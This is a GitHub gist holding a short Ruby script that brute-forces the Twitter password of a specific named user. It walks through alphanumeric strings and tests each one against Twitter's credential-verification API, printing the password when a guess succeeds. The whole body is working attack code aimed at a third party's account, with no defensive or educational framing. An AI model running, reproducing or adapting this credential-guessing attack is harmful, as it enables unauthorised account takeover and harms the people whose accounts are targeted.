Skip to content

Instantly share code, notes, and snippets.

@rafapolo
Created July 3, 2010 22:12
Show Gist options
  • Save rafapolo/462876 to your computer and use it in GitHub Desktop.
Save rafapolo/462876 to your computer and use it in GitHub Desktop.
#!ruby19
# encoding: utf8
# author: rafael polo
# created_at 11.mar.2010
# updated_at 03.jul.2010
require 'rubygems'
require 'twitter'
OPTS = [('a'..'z'),('A'..'Z'),('0'..'9')].map{|n| n.to_a }.flatten
@user = 'huckluciano'
def isPasswd(passwd)
begin
conta = Twitter::Base.new(Twitter::HTTPAuth.new(@user, passwd)).verify_credentials
rescue Twitter::Unauthorized
puts "Não é #{@current}"
return false
else
puts "Senha: #{@current}"
return true
end
end
def crack
current_array = @current.split(//)
if current_array.all? {|o| o == OPTS.last}
current_array = [OPTS.first]*(current_array.length+1)
else
poped = []
poped << current_array.pop while current_array.last == OPTS.last
last = current_array.pop
current_array.push OPTS[OPTS.index(last)+1]
current_array += ([OPTS.first]*poped.length)
end
@current = current_array.join if current_array.size > 4
end
puts "Iniciando..."
@current = OPTS.first
while !isPasswd(@current) do
crack
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment